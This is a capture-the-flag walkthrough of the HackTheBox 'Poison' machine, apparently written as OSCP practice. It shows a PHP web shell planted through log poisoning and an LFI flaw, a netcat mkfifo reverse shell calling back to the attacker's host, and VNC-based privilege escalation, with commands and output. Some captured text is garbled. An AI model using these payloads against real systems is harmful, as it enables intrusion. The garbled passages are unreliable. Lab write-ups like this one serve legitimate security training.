HackTheBox – Poison

PATH TO OSCP

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1 HackTheBox Poison



1.1 Objectives

- Do Log Poisoning to Get a Shell
- Decode a base64 endcoded password
- Use VNCViewer to Root the box

1.2 Service Enumeration

IP address

10.10.10.84

Ports Open

22

80

Full Nmap Scan

1.3 Web Enumeration

Main page



Temporary website to test local .php scripts.

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php										
	Scriptnan	ne:								
	Submit									

The page lists some .php files and states that we can test local files.

listfiles.php

trying the 'listfile.php' we get:



pwdbackup.txt

If we now go to this file, we get a base64 encoded x13 password.

This password is secure, it's encoded atleast 13 times.. what could go wrong really. Vm0wd2QyUXIVWGxWV0d4WFlURndvRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS11ySkVU bGhoTVVwVVZtcEdZV0J5U2IVVQpitZhVVppitZhVdZWmRjRwRUTTwxKSVZtdGiXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVIUxU1ZadGRGZFZaM0iwVmxad1dWwnRNYFJqCk1EQjRXa1prWVZKR1N M040VGtaa2NtRkdaRzhWv0VKVVdxGeFTMVZHWkZoT1ZCSIRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNiZHeGFZVk51VwtsVWJXaFdWmFZLVIZLWGVHRIRNbEY0VJJTU2ExSXdXbUZEYkZwe GSJXR043POWKWFZseEx84kZPEZKEXepaRZdLWVRGVK1GWkhSWZbpitGW fixWWbpFyr0dWSFJSUkSWbkJZVmpKMGEXWnRSWHBWYmtKRV1VcEdlWmsyC1VSTdINREZ4FW100 MXXVUak5hVm1SSFVqRldjd3BqUJJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUJFSc1dtdFpWa2w1WV\xa1TYwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWISWEEyVmpKMFIXRXhXblJTV0hCV1ltczFSVmxzVm5JWFJSbDVDbVJTT1ZkTJDFWJRWbTEWTkZkRwpXbbGqUlhoV11XdGFVRmw2QtQlhZa2RFVEZk WGRHDVJV1PGvJ1UzFSSlhVbGRVVmxwelRrWlplvTVWT1ZwV2EydzFXVIZhcmExWXdNVWNLVJJ0NFYSykdjRkblJUZWNFZsWkdRJUGT1dformTJTJYNWSBLTUdeFVXGISSDVJWWVXRbVJTNVAHDLFTVFTVAHCKQTKNJTRQGRRVIJPUDFASEZFWWIIRASBYVmxadqJErglbgd3BOV0V3PFIZGSDNJTWVXTBVFTXDHVSTWM1SFIRMSWVMTLYJ0NFYSkdjRFpO

Let's decode it!

1.4 Getting User

I saved the base64 text in a file and then I did a script that will decode it 13 times:

```
#!/bin/bash

file=$1

for n in $(seq 1 13)

do

base64 -d $file > /tmp/$n.txt
sleep 1
cat /tmp/$n.txt
echo -e "\n"
file=/tmp/$n.txt
```

The script will run the base64 decode until we get the password.

```
VmxaU1MySXlSa2hVYmxKcFVrWktTMVpyVm50alZsSnlWR3hhVG1FelFuaFhha2sxVkd4R1ZVMUVi
RVJhZWpBNVEyYzlQUW89Cg==

VlZSS2IyRkhUblJpUkZKS1ZrVnNjVlJyVGxaTmEzQnhXakk1VGxGVU1EbERaejA5Q2c9PQo=

VVRKb2FHTnRiRFJKVkVscVRrTlZNa3BxWjI5TlFUMDlDZz09Cg==

UTJoaGNtbDRJVElqTkNVMkpqZ29NQT09Cg==

Q2hhcml4ITIjNCU2JjgoMA==

Charix!2#4%668(0

—(filiplain⊚fsociety)-[~/oscp/htb/poison]

$\$\$\$\$\basedecode.sh filename
```

Password: Charix!2#4%6&8(0

Now we can SSH into the box with the user charix and the decoded password.

```
Show the version of FreeBSD installed: freebsd-version; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier

Edit /etc/motd to change this login announcement.
To see the MAC addresses of the NICs on your system, type

ifconfig -a
-- Dru <genesis@istar.ca>
charix@Poison:~ %
```

At this point the Log Poisoning is not necesary because we already have the user, but let's do it anyways.

1.5 Log Poisoning

Going back to the web page we notice that we can LFI:

Let's fuzz for log files so we can poison it.

Fuzzing with Burp

Fuzzing with a list of common LFI files we get some log files that we can use:

In this case I'm going to use "/var/log/messages", we can SSH to the box and see the failed authetication messages in this file, so we can inject php code to the page.

```
er citrix from 10.10.14
                       ~/oscp/htb/poison
                                                                                    WWW
                                  >"apoison.htb
Jul 5 15:56:32 Poison last message repeated 2 times
    5 15:58:51 Poison sshd[1004]: error: PAM: authentication error for illegal user total 72
                            512 Mar 19 2018 .
drwxr-xr-x 2 root wheel
drwxr-xr-x 6 root
                    wheel
                            512 Jan 24
                                        2018
-rw-r--r--
                             33 Jan 24
                                        2018 browse.php
            1 root
                    wheel
-rw-r--r--
            1 root
                    wheel
                            289 Jan 24
                                        2018 index.php
-rw-r--r--
           1 root
                    wheel
                             27 Jan 24
                                        2018 info.php
- rw-r--r--
                             33 Jan 24
            1 root
                    wheel
                                        2018 ini.php
-rw-r--r--
                             90 Jan 24
            1 root
                    wheel
                                        2018 listfiles.php
-rw-r--r--
                             20
                                Jan 24
                                        2018 phpinfo.php
           1 root
                    wheel
-rw-r--r--
                    wheel
                           1267 Mar 19
                                        2018 pwdbackup.txt
            1 root
-rw-r--r-- 1 root
                          1267 Mar 19
                                        2018 pwdbackup.txt from 10.10.14.14
                    wheel
```

It works!

Getting a shell

Let's get a web shell first: I saved <?php system(\$_GET['cmd']); ?> inside of a file "shell.txt" to evade errors with the characters

Let's see if it works:

```
filiplain⊛fsociety)-[~/oscp/htb/poison
                                              /ar/log/messages&cmd=echo+-e+'\n\nit+*worksss***\n\n';ls+-ls"
Jul 5 16:00:00 Poison newsyslog[1014]: logfile turned over due to size>100K
Jul 5 16:03:30 Poison sshd[1026]: error: PAM: authentication error for illegal user
it *worksss***
total 56
8 -rw-r--r-- 1 root wheel
                              33 Jan 24 2018 browse.php
8 -rw-r--r-- 1 root wheel
8 -rw-r--r-- 1 root wheel
                             289 Jan 24 2018 index.php
                              27 Jan 24 2018 info.php
 -rw-r--r-- 1 root wheel
                               33 Jan 24 2018 ini.php
                               90 Jan 24 2018 listfiles.php
 -rw-r--r-- 1 root wheel
 -rw-r--r-- 1 root wheel
                              20 Jan 24 2018 phpinfo.php
 -rw-r--r--
             1 root wheel 1267 Mar 19 2018 pwdbackup.txt
from 10.10.14.14
Jul 5 16:03:31 Poison last message repeated 2 times
```

Now let's get the shell!

I'm going to use an URL encoded netcat reverse shell for freeBSD:

```
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-

→ i+2>%261|nc+<IP>+<PORT>+>/tmp/f"
```

```
(filiplain® fsociety)-[~/oscp/htb/poison]
$ curl "http://poison.htb/browse.php?file=/var/log/messages&cmd=rm+/t
|nc+10.10.14.14+8089+>/tmp/f"

(filiplain® fsociety)-[~/oscp/htb/poison]
$ nc -lvnp 8089
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8089
Ncat: Listening on 0.0.0.0:8089
Ncat: Connection from 10.10.10.84.
Ncat: Connection from 10.10.10.84.
Sh: can't access tty; job control turned off
$ whoami
www
$ [
```

Now we have a "www-data" shell.

1.6 Getting Root

As we already have the User Chraix we can jump to the Root.

Looking into charix directory we see the "user.txt" and a "secret.zip"

```
charix@Poison:~ % ls
secret.zip user.txt
charix@Poison:~ %
```

When we unzip it with Charix password, we get a file with non-ascii hex values:

```
(filiplain® fsociety)-[~/oscp/htb/poison]
$ cat secret
(% | 5z!

(filiplain® fsociety)-[~/oscp/htb/poison]
$ file secret
secret: Non-ISO extended-ASCII text, with no line terminators
```

Using VNCViewer to Priv-Escalate

Looking for processes running by root we can see a VNC server running:

```
root 1060 0.0 0.8 85228 7836 - Is 16:19 0:00.01 sshd: charix [priv] (sshd)
root 529 0.0 0.9 23620 8872 v0- I 15:01 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes
root 540 0.0 0.7 67220 7064 v0- I 15:01 0:00.02 xterm -geometry 80x24+10+10 -ls -title X Desktop
```

We also have the ports listening locally:

To get access to this ports we can use SSH to do port forwarding.

```
ssh -L 5901:127.0.0.1:5901 -L 5801:127.0.0.1:5801 charix@poison.htb
```

Now to connect to the server we will use the "secret" file we had:

```
vncviewer localhost:5901 -passwd secret
```

Now we have a VNC session running as root:

```
Toot@Poison: # 1s
.Xauthority .k5login .rnd .viminfo
.cshrc .login .ssh .vnc
.history .profile .vim root.txt
root@Poison: # []
```

To get the Flag we can use netcat because we can't do it by copying it.

```
.cshrc .login .ssh .vnc
.history .profile .vim root.txt
root@Poison:~ # nc -l 1337 < root.txt

filiplain@fsociety: ~

(filiplain@fsociety)-[~]

$ nc poison.htb 1337
716d04b188419cf2bb99d891272361f5
```